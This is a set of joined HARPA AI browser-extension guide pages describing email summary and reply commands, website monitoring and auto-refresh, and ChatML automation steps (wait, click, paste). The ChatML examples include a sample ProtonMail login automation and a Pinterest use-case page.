cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Reply Writer [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/communication/mail-05.svg) Reply Writer ============ CONTENTS NAVIGATE Enhance your email management process by bringing ChatGPT to HARPA AI: * Utilize **/summary** and **/tldr** commands for concise email summaries. * Use **/reply** command to craft personalized email responses in no time. With HARPA AI you can zero your inbox and experience state-of-the-art LLM features compatible with Gmail, Outlook, ProtonMail, and more. [\#](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai#how-to-quickly-reply-to-emails-with-ai) How to Quickly Reply to Emails with AI ---------------------------------------------------------------------------------------------------------------------------------------------------- 1. Click the **TL;DR** command in Gmail or any other email client to get a brief email summary, improving signal to noise ratio in your inbox: * Select any text on the page, e.g. email content, and launch **TL;DR** command via the HARPA AI quick access bar. ![](https://harpa.ai/img/guides/emails-1.webp) * Or open HARPA AI and select **summarize email** from the quick access commands list. ![](https://harpa.ai/img/guides/emails-2.webp) * Or start typing **/summary** or **/tldr** in the HARPA chat box and pick one of the summary commands. ![](https://harpa.ai/img/guides/emails-3.webp) 2. Once you have the email summary, select the **Reply** option to generate a response. ![](https://harpa.ai/img/guides/emails-4.webp) 3. You can set the tone of your response and provide some factual information, so that GPT understands how and on whose behalf to respond. ![](https://harpa.ai/img/guides/emails-5.webp) You'll see the current tone and personal information settings in code blocks, making it easy to copy-paste and modify. ![](https://harpa.ai/img/guides/emails-6.webp) Your tone is stored in HARPA locally and can be changed at any time from the same **/reply** command. 4. Once the tone is set, you can pick one of the suggested response styles or write your own. ![](https://harpa.ai/img/guides/emails-7.webp) 5. Copy the response or PASTE it into a text field with a single click. ![](https://harpa.ai/img/guides/emails-8.webp) **TLDR, Reply** and **Summary** work across all websites and email services including Outlook, ProtonMail, Reddit, YouTube, Facebook and LinkedIn. Crowded inbox is a thing of the past, save your time with HARPA AI. [\#](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai#links-for-further-reading) Links for further reading -------------------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [GPT Chunking](https://harpa.ai/guides/chunking) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/finish-writing-from-your-draft-with-ai) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Competitor Tracking [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/maps/mark.svg) Competitor Tracking =================== CONTENTS NAVIGATE [\#](https://harpa.ai/guides/track-competitors#why-tracking-competitors-websites) Why Tracking Competitors Websites -------------------------------------------------------------------------------------------------------------------- Competitor monitoring tools are essential for gaining an edge over your rivals in today's fast-paced business world. By automating the web monitoring process, you can stay informed about your competitors' pricing, products, SEO, marketing strategies, social media channels, announcements, etc. HARPA AI allows for the collection of valuable insights into your competitors' online activities by monitoring their websites and social media channels, as well as [their prices](https://harpa.ai/guides/monitor-price-drops) . Competitive tracking involves consistently monitoring your competitors' updates, primarily online, to inform your marketing, sales, and product strategies. By staying current with your competitors' activities and analyzing them over time, you can gain insights that help you position your business one step ahead. [\#](https://harpa.ai/guides/track-competitors#how-to-monitor-competitors-websites) How to Monitor Competitors websites ------------------------------------------------------------------------------------------------------------------------ Make sure to install Google Chrome or a Chromium-based browser and get the free HARPA AI Chrome Extension from this [link](https://get.harpa.ai/) , then: 1. Navigate to your competitor's website. 2. To keep track of web page content, open HARPA by clicking its icon in the top right corner of the browser or pressing **Alt+A** (on Windows) and **^+A** (on Mac), and switch over to the **AUTOMATE** tab at the top of the HARPA window. 3. Under the **AUTOMATE** tab, you will be presented with a list of possible items to track. To monitor website changes, click the corresponding option - “**page text changes**”. ![](https://harpa.ai/img/guides/track-1.webp) 4. Click the **START** button, and HARPA AI will take care of the rest, periodically refreshing the web page in the background. You'll receive a friendly browser notification whenever a competitor's page changes. ![](https://harpa.ai/img/guides/track-2.webp) Rinse and repeat for every competitor. HARPA AI operates monitors and automations directly in your browser, ensuring your web data stays safe and never leaves your device. ### [\#](https://harpa.ai/guides/track-competitors#customization-options) Customization Options You can customize schedule, triggers, actions and other parameters of your web monitors. ![](https://harpa.ai/img/guides/track-3.webp) * **Schedule Interval**. Monitors run periodically and you can choose the running frequency from 15 seconds up to once a month. Running checks too often puts extra work on your machine and web servers. Some websites may log you out or ask to pass CAPTCHA test. It is recommended to always pick a reasonable delay such as 1 check every 3 hours for non-critical monitors. * **Trigger**. A trigger is a condition that HARPA AI checks every time the monitor task runs. You can monitor for data, text, or HTML page code changes. Once the task is triggered, HARPA AI initiates actions. * **Actions**. Actions are taken upon trigger fires and include showing notification, sending email, playing sound, calling webhook or Make.com (Integromat) integration. You can turn actions ON or OFF and specify when they should be run (first trigger, every trigger, or every run). The last option is especially helpful if you would like to send data from HARPA AI to GoogleSheet via Make.com. * **Before Run**. You can instruct HARPA AI to wait for page to load, hide cookie banners, wait for text to appear or scroll the page down before the trigger check is run. In just a few minutes you have set up monitors that will track your competitor websites with HARPA AI. [\#](https://harpa.ai/guides/track-competitors#links-for-further-reading) Links for further reading ---------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [ChatGPT Search Assistant](https://harpa.ai/blog/ai-answers-alongside-google-search) * [Quick Access Bar](https://harpa.ai/guides/quick-access-bar) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/monitor-price-drops) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/autorefresh-web-pages) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Wait Step [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Wait Step ========= CONTENTS [\#](https://harpa.ai/chatml/steps-wait#wait) WAIT --------------------------------------------------- This step forces HARPA to wait for a specified amount of time before proceeding to the next step. This is useful when you need to wait for a page to load, for text or element to appear on the page or JavaScript function to resolve true. **ChatML declaration** # wait for page to stop updating and sending requests - type: wait for: idle timeout: 15000 # wait for 1 second - type: wait for: custom-delay delay: 1000 # wait for random delay between 500 and 3000 milliseconds - type: wait for: random-delay minDelay: 500 maxDelay: 3000 # wait for text to appear on the page - type: wait for: text-to-appear text: Login timeout: 15000 # wait for text to disappear from the page - type: wait for: text-to-disappear text: Loading timeout: 15000 # wait for element to appear on the page - type: wait for: element-to-appear selectorType: ai selector: - $tag: H1 timeout: 15000 # wait for element to appear on the page - type: wait for: element-to-disappear selectorType: ai selector: - $tag: H1 timeout: 15000 # wait for JavaScript function to resolve true - type: wait for: js-function code: return document.querySelector('h1') timeout: 15000 [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/steps-navigate) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/steps-click-paste-scroll) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Click & Paste Steps [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Click & Paste Steps =================== CONTENTS [\#](https://harpa.ai/chatml/steps-click-paste-scroll#click) CLICK ------------------------------------------------------------------- Select an interface element for HARPA to click on, simulating a mouse button press. Click **"Grab"** and choose the element to be clicked. ![](https://harpa.ai/img/chatml/click-1.webp) ### [\#](https://harpa.ai/chatml/steps-click-paste-scroll#example) Example You can automate sending comments on YouTube. First, use CLICK to activate the text insertion window, followed by the **PASTE** step. ![](https://harpa.ai/img/chatml/click-2.webp) **ChatML declaration** Under the hood, HARPA AI uses [AI Element Selectors](https://harpa.ai/chatml/ai-element-selectors) to find the element to click on. You can use the **"Grab"** button to select the element to click on or customize the selector manually in the YAML file. - type: click selectorType: ai selector: null item: null showMore: false onFailure: skip waitForIdle: true - type: click selectorType: ai selector: - $matches: - $tag: A - $role: link - $class: Button - $class: GetPluginButton - $attribute: href=https://get.harpa.ai - $attribute: target=_blank - $attribute: type=button - $style: Poppins:24px:500:normal - $content: ADD TO BROWSER - $class: LandingHero__buttonContainer traverse: '0' - $class: LandingHero__content traverse: '0:1:0' - $class: LandingHero traverse: '0:0:1:0' - $class: LandingContent traverse: '0:2:0:0:1:0' - $class: Page__content traverse: '0:0:2:0:0:1:0' - $anchor: > Bring AI to your browser. Chat with websites, PDFs, videos, write emails, SEO articles, tweets, automate workflows, monitor prices & data. Bing AI & Notion AI alternative. shift: '-12:-106' - $text: > Bring AI to your browser. Chat with websites, PDFs, videos, write emails, SEO articles, tweets, automate workflows, monitor prices & data. Bing AI & Notion AI alternative. traverse: '-1:1:0' - $anchor: '#1' shift: '18:250' - $text: '#1' traverse: '-2:1:0' - $anchor: AI AUTOMATION AGENT FOR CHROME shift: '-40:250' - $text: AI AUTOMATION AGENT FOR CHROME traverse: '-2:1:0' min: 9 - $size: 1 showMore: false onFailure: skip waitForIdle: true [\#](https://harpa.ai/chatml/steps-click-paste-scroll#paste) PASTE ------------------------------------------------------------------- This step allows you to insert a given text into any page's text field. It defaults to the largest input field, but manually selecting a target input is possible. ![](https://harpa.ai/img/chatml/paste-1.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Some websites, like YouTube, may require a CLICK step before pasting to activate the input field. **ChatML declaration** # full version - type: paste text: '{{gpt}}' close: false # short version - paste: '{{gpt}}' # target selector - paste: '{{gpt}}' selector: - $matches: - $tag: SPAN - $role: text - $class: input__email - $class: input-box - $attribute: role=text - $style: Roboto:14px:500:normal - $content: Email min: 5 - $size: 1 ### [\#](https://harpa.ai/chatml/steps-click-paste-scroll#example) Example Automate a thank-you comment for helpful content on a YouTube video using a combination of steps: **COMMAND** (or GPT) + **CLICK** + **PASTE** + **CLICK**. ![](https://harpa.ai/img/chatml/paste-2.webp) For example, you can automate logging into a Mail service using **NAVIGATE** + **PASTE** + **PASTE** + **CLICK** steps in HARPA AI. To automate this, create a custom command with the specified steps with inputs. ![](https://harpa.ai/img/chatml/paste-3.webp) Each PASTE and CLICK step lets you target a specific element for interaction. ![](https://harpa.ai/img/chatml/paste-4.webp) **ChatML declaration** meta: title: ProtonMail Login description: '' category: User name: pqiqyO9Tl7blDTycH14sM steps: - type: navigate url: https://account.proton.me/login waitForIdle: true - type: paste text: [email protected] selectorType: ai selector: - $matches: - $tag: INPUT - $id: username - $class: input-element - $class: w100 - $attribute: autocomplete=username - $attribute: autocapitalize=off - $attribute: autocorrect=off - $attribute: spellcheck=false - $attribute: aria-invalid=false - $attribute: aria-describedby=id-3 - $attribute: value - $attribute: data-last-active-input - $testId: input-input-element - $style: '"Inter var":14px:400:normal' - $role: form traverse: '2:1:0:0:0' - $class: sign-layout-main-content traverse: '0:2:1:0:0:0' - $class: ui-standard traverse: '1:0:2:1:0:0:0' - $class: sign-layout traverse: '1:0:2:1:0:0:0' - $class: shadow-color-primary traverse: '1:0:2:1:0:0:0' - $anchor: Email or username shift: '17:36' - $text: Email or username traverse: '-2:1:0:0:0' - $anchor: Password shift: 17:-61 - $text: Password traverse: '-3:2:1:0:0:0' - $anchor: Enter your Proton Account details. shift: '17:80' - $text: Enter your Proton Account details. traverse: '-2:1:0:2:1:0:0:0' min: 11 - $size: 1 item: type: element container: __$ht: element id: 1 value: Element showMore: false onFailure: skip waitForIdle: false - type: paste text: YouWontGuessThisOne selectorType: ai selector: - $matches: - $tag: INPUT - $role: textbox - $id: password - $class: input-element - $class: w100 - $attribute: autocomplete=current-password - $attribute: autocapitalize=off - $attribute: autocorrect=off - $attribute: spellcheck=false - $attribute: aria-invalid=false - $attribute: aria-describedby=id-4 - $attribute: type=text - $attribute: value - $attribute: data-last-active-input - $testId: input-input-element - $style: '"Inter var":14px:400:normal' - $role: form traverse: '3:1:0:0:0' - $class: sign-layout-main-content traverse: '0:3:1:0:0:0' - $class: ui-standard traverse: '1:0:3:1:0:0:0' - $class: sign-layout traverse: '1:0:3:1:0:0:0' - $class: shadow-color-primary traverse: '1:0:3:1:0:0:0' - $anchor: Password shift: '17:36' - $text: Password traverse: '-2:1:0:0:0' - $anchor: Keep me signed in shift: '-11:-60' - $text: Keep me signed in traverse: '-4:3:1:0:0:0' - $anchor: >- Not your device? Use a private browsing window to sign in and close it when done. Learn more shift: '-11:-80' - $text: >- Not your device? Use a private browsing window to sign in and close it when done. Learn more traverse: '-3:3:1:0:0:0' min: 11 - $size: 1 item: type: element container: __$ht: element id: 2 value: Element showMore: false onFailure: skip waitForIdle: false - type: click selectorType: ai selector: - $matches: - $tag: BUTTON - $role: button - $class: button - $class: w100 - $class: button-large - $class: button-solid-norm - $class: mt-6 - $attribute: aria-busy=false - $attribute: type=submit - $style: '"Inter var":16px:400:normal' - $content: Sign in - $role: form traverse: '5' - $class: sign-layout-main-content traverse: '0:5' - $class: ui-standard traverse: '1:0:5' - $class: sign-layout traverse: '1:0:5' - $class: shadow-color-primary traverse: '1:0:5' - $anchor: New to Proton? Create account shift: 0:-51 - $text: New to Proton? Create account traverse: '-1:5' - $anchor: Trouble signing in? shift: 0:-105 - $text: Trouble signing in? traverse: '-2:5' - $anchor: >- Not your device? Use a private browsing window to sign in and close it when done. Learn more shift: '163:73' - $text: >- Not your device? Use a private browsing window to sign in and close it when done. Learn more traverse: '-3:5' min: 5 - $size: 1 showMore: false onFailure: skip waitForIdle: true version: 1 [\#](https://harpa.ai/chatml/steps-click-paste-scroll#scroll) SCROLL --------------------------------------------------------------------- ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) SCROLL step is not implemented in HARPA AI yet. Please use RUN JS step to scroll the page until SCROLL step is implemented: # scrolls one viewport - type: runjs code: return $harpa.page.scroll() # scrolls to the bottom of the page - type: runjs code: return $harpa.page.scroll('bottom') # scrolls to the top of the page - type: runjs code: return $harpa.page.scroll('top') # scrolls to position 1000px from the top of the page - type: runjs code: 'return $harpa.page.scroll({ y: 1000 })' [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/steps-wait) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/steps-request) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Autorefresh Web Pages [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/arrows/refresh-ccw-03.svg) Autorefresh Web Pages ===================== CONTENTS NAVIGATE [\#](https://harpa.ai/guides/autorefresh-web-pages#autorefresh-web-pages) Autorefresh Web Pages ------------------------------------------------------------------------------------------------ With HARPA AI Chrome Extension, you can set any tab to automatically and periodically refresh and reload. This keeps your web pages up-to-date. It works almost identical to Easy Auto Refresh, Auto Refresh Plus, Tab Auto Refresh and other Chrome plugins. And the best part is that it is completely free. **HARPA AI Autorefresh is highly customizable:** * Set a desired page refresh interval. * Customize delays for each page or tab independently. Your settings are remembered for each page. * Select actions to be dispatched whenever a web page updates, goes down, contains text, or returns an HTTP code. * Integrate notifications, sounds, Make.com / Integromat events, and WebHooks. [\#](https://harpa.ai/guides/autorefresh-web-pages#how-to-setup-auto-refresh) How to Setup Auto Refresh -------------------------------------------------------------------------------------------------------- Make sure you install Google Chrome or a Chromium-based browser. 1. Navigate to your competitors’ website. 2. To keep track of a web page content, open HARPA by clicking its icon in the top right corner of the browser or pressing **Alt+A** (on Windows) or **^+A** (on Mac), and switch over to the **AUTOMATE** tab at the top of the HARPA window. 3. Under the **AUTOMATE** tab, you will be presented with a list of possible items to track. One of the options is the **Auto-refresh monitor**. Click on it. ![](https://harpa.ai/img/guides/autorefresh-1.webp) 4. Schedule your page autorefreshing the way you like it. Pick how often the page should be refreshed. 5. _\[Optional\]_ If you want to be notified on a specific condition, pick a trigger. 6. _\[Optional\]_ Select actions for your trigger, such as sending emails, notifications, calling a webhooks or running Integromat / Make.com scenarios. 7. Finally, hit the START button, and you're all set with your auto-refreshing task! ![](https://harpa.ai/img/guides/autorefresh-2.webp) HARPA AI will periodically refresh the page and notify you when the page updates. [\#](https://harpa.ai/guides/autorefresh-web-pages#automations-dashboard) Automations Dashboard ------------------------------------------------------------------------------------------------ You can always see how your monitors perform by navigating to the **HARPA Automations Dashboard**. ![](https://harpa.ai/img/guides/monitor-6.webp) **There are several ways to open this page:** 1. Simply click the HARPA AI extension icon on an opened, blank browser page. 2. Press the HOME button in the HARPA AI interface on any other browser page, and a new tab with an Automations Dashboard will open. ![](https://harpa.ai/img/guides/monitor-7.webp) 3. Simply click the HARPA AI icon in the browser and then click **AUTOMATION** to open the monitors list. You can filter monitors by website. You can navigate to the full-screen dashboard by clicking **DASHBOARD** button in the popup interface. ![](https://harpa.ai/img/guides/monitor-8.webp) By default monitors run in background once every 3 hours. You can configure how often they run directly from the dashboard. You may also notice a minimized browser window where HARPA AI runs your monitors and automations. If you open that window, you will see the pages HARPA AI is launching for monitoring purposes. [\#](https://harpa.ai/guides/autorefresh-web-pages#use-cases) Use Cases ------------------------------------------------------------------------ * 🛍️ **Shoppers** uses the auto-refresh tool to keep an eye on their favorite items online. When a price drop or a flash sale happens, they get an instant notification and can snag the best deal before it's gone. Check out the Monitor Prices feature for more information. * 💼 **Job Seekers** stay on top of new job postings by setting up auto-refresh on their favorite job boards. Whenever a new job matching their criteria is posted, they're the first to know and can apply right away. * 🎮 **Gamers** monitor the availability of limited edition consoles or accessories using the auto-refresh tool. When the item is back in stock, they're instantly alerted and can make the purchase before it sells out again. * 📰 **Reporters and Journalists** use the auto-refresh and monitor feature to keep up with breaking news stories. If an article is updated, they receive real-time updates, ensuring they're always in the know. * 📈 **Data Analysts** use the auto-refresh tool to monitor live data feeds, such as stock prices or cryptocurrency rates. They can set custom intervals and receive notifications when significant changes occur, enabling them to make informed decisions. [\#](https://harpa.ai/guides/autorefresh-web-pages#links-for-further-reading) Links for further reading -------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [ChatGPT Search Assistant](https://harpa.ai/blog/ai-answers-alongside-google-search) * [Quick Access Bar](https://harpa.ai/guides/quick-access-bar) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/track-competitors) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/connecting-harpa-to-make-com) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Pinterest [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/pinterest.svg) ChatGPT for Pinterest ===================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-pinterest#chatgpt-for-pinterest)  ChatGPT for Pinterest --------------------------------------------------------------------------------------------- With HARPA AI, unleash the potential of AI to transform your Pinterest marketing approach. Generate pin descriptions that capture attention and spark engagement, and receive curated ideas to drive your Pinterest strategy forward. ![](https://harpa.ai/img/apps/pinterest.svg) Pinterest pin description Create description for a Pinterest pin from title or topic. [USE COMMAND](https://get.harpa.ai/) Here’s what HARPA AI brings to your Pinterest table: ### [##](https://harpa.ai/case/chatgpt-for-pinterest#captivating-pin-descriptions)  Captivating Pin Descriptions Tap into the power of AI to create descriptions for your Pinterest pins that are not only engaging but also SEO-friendly, helping you to stand out in a sea of visual content and enhance discoverability. ### [##](https://harpa.ai/case/chatgpt-for-pinterest#strategic-marketing-insights)  Strategic Marketing Insights Gain a competitive edge with AI-generated content ideas tailored to your brand and audience, empowering you to craft a Pinterest marketing strategy that resonates and performs. ### [##](https://harpa.ai/case/chatgpt-for-pinterest#maximize-engagement)  Maximize Engagement Use HARPA AI to quickly generate compelling copy for your pins, saving you time and effort, so you can focus on creating stunning visuals that your followers will love. ### [##](https://harpa.ai/case/chatgpt-for-pinterest#how-to-use-chatgpt-with-pinterest)  How to Use ChatGPT with Pinterest To use ChatGPT with Pinterest, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the Pinterest website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/pinterest** to HARPA chat to bring a list of ChatGPT prompts for Pinterest. ### [##](https://harpa.ai/case/chatgpt-for-pinterest#connect-with-harpa-ai)  Connect with HARPA AI Your feedback, suggestions, and ideas are invaluable to us. If you have any questions or insights, please don't hesitate to reach out to us. At HARPA AI, we are committed to enhancing your YouTube experience and helping you succeed. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Writing Styles [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/editor/feather.svg) Writing Styles ============== CONTENTS NAVIGATE [\#](https://harpa.ai/guides/writing-styles#harpa-ai-writing-styles) HARPA AI Writing Styles --------------------------------------------------------------------------------------------- With HARPA AI you can [generate articles](https://harpa.ai/guides/write-text-on-websites-with-ai) in different styles and frameworks. This allows you to further customize the type of content AI writes for your social media accounts, websites, and marketing channels. You can access a total of 18 writing styles, enrich your content and make it well-structured. Most of these frameworks are compatible with GPT-5 Nano, but they fully unleash their potential when utilized with premium models like GPT-5.4 or Claude Sonnet 4.6. **The 18 writing styles are broken down into 4 groups:** * Marketing and Persuasion Techniques * Information and Analysis Techniques * Storytelling and Professional Communication Techniques * Academic, Opinion, and Creative Writing Styles ### [\#](https://harpa.ai/guides/writing-styles#marketing-and-persuasion-techniques) Marketing and Persuasion Techniques By leveraging the power of AI in copywriting and marketing, businesses can effectively communicate their product's value and captivate their target audience. Integrating AI frameworks, such as the HARPA AI assistant, into marketing strategies can drive business growth and ensure the success of marketing campaigns. * 📣 **AIDA (Attention, Interest, Desire, Action):** This time-tested marketing and copywriting framework aims to captivate the reader's attention, pique their interest in the product or service, evoke a strong desire for ownership or participation, and ultimately, prompt them to take an action. The 